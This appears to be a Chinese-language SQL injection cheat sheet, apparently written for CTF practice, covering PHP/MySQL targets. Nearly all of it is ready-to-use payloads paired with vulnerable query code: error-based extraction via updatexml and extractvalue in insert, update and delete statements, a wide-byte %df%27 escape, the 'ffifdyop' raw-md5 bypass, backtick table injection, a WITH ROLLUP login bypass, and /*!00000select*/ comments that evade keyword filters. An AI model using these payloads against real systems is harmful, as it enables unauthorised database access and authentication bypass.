insert注入:
$sql = "insert into user(username,password) values('$username','$password',)";
payload: 适用于字符型:
' or updatexml(1,concat(0x7e,(database())),0) or '
适用于数字型:
' or extractvalue(1,concat(0x5e24,(database()))) or '
$sql = "insert into user(username,password) values('' or updatexml(1,concat(0x7e,(database())),0) or '','$_POST['password']')";
update注入:
$sql = "update user set username='$username',password='$password' where id=$id";
payload:适用于字符型:
' or updatexml(1,concat(0x7e,(database())),0) or '
适用于数字型:
' or extractvalue(1,concat(0x5e24,(database()))) or '
$sql = "update user set username='' or updatexml(1,concat(0x7e,(database())),0) or '',password='$_POST['password']' where id=$_POST['id']";
delete注入:
$sql = "delete from user where id=$id";
pauload:
or or updatexml(1,concat(0x7e,(database())),0) or ' '
or extractvalue(1,concat(0x5e24,(database()))) or ' '
其他类型的payload:
'or(有效载荷)or'
'and(有效载荷)and'
'or(有效载荷)and'
'or(有效载荷)and'='
'*(有效载荷)*'
'or(有效载荷)and'
“ - (有效载荷) - “
宽字节注入:
由于转义了单引号成 \' 但是%df与\构成双字节,%df\结合为中文,从而%27逃逸
$sql = "select * from user where username='$username'";
payload:
-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns
where table_name='table.name' # (后面的''可以使用16进制编码,编码结束后在前面加上0x)
sql语句有 \:
$sql = "select * from users where username=\''.$usename.'\' and password=\''.$password.'\'";
$username,$password 被过滤:
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str); //删除字符串里的\
}
return htmlentities($str, ENT_QUOTES);
//比如我们对字符串"<script>"使用htmlentities函数,字符串"<script>"将被转化为"<script>",
//将"<"和“>”转换为HTML实体,可以防止浏览器将它们作为HTML元素的一部分被解释或运行(经常使用在用户提交表单数据的时候)。
//htmlentities($str, ENT_COMPAT); // 只转换双引号
//htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
//htmlentities($str, ENT_NOQUOTES); // 不转换任何引号
}
payload:
username=admin\&password=or 1 #
$sql = "select * from users where username=\''. admin\ .'\' and password=\''. or 1 # .'\'";
md5加密后的的SQL注入:
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
思路比较明确,当md5后的hex转换成字符串后,如果包含'or'<trash>这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'6<trash>'
很明显可以注入了。
难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or'6<trash>
sql注入之反引号注入:
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
反引号一般在Esc键的下方,和~在一起。它是为了区分MySQL的保留字与普通字符而引入的符号
create table desc 报错
create table `desc` 成功
一般我们建表时都会将表名,库名都加上反引号来保证语句的执行度。
table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
sql注入之先查询用户,在比较密码
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; //查询uname
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) { //限制查询只有一条
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) { //传入的pwd要符合数据库里的pwd
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
使用rollup技巧来绕过:
在sql命令行里:
select uname,pwd from test group by pwd with rollup;
+--------------+-------+
| uname | pwd |
+--------------+-------+
| 123 | 123 |
| 123 | NULL |
+--------------+-------+
rollup作用:在查询结果中多增加一行,而且他的的pwd的值为null。
传参$_POST[pwd]的值为空时,$key['pwd'] == $_POST['pwd']满足
在此之前我们还有一个条件要满足`mysql_num_rows($query) == 1`,我们要选择pass为NULL的单独的这一条记录。
从源码分析可得,过滤了逗号,我们不能简单的使用`limit 1,1`这样的语法,而是可以使用`limit 1 offset 1`。就本地环境而言,比如
select uname,pwd from test group by pwd with rollup limit 1 offset 2;
+--------------+-------+
| uname | pwd |
+--------------+-------+
| 123 | NULL |
+--------------+-------+
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
payload: uname = ' or 1=1 group by pwd with rollup limit 1 offset 2 #
pwd = 空
$sql="SELECT * FROM interest WHERE uname = '{ ' or 1=1 group by pwd with rollup limit 1 offset 2 # }'";
正则绕过preg_match("/\b(select|insert|update|delete)\b/i",$message)之SQL注入
if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
die("hello,sangebaimao!");
}
/*!*/只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释
$sql="insert guestbook(`message`) value('$message');";
payload:
updatexml:
?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
extractvalue:
?message=aaa\x27 and extractvalue(0,concat(0x27,(/*!00000select database()*/))) %23
exp:
?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23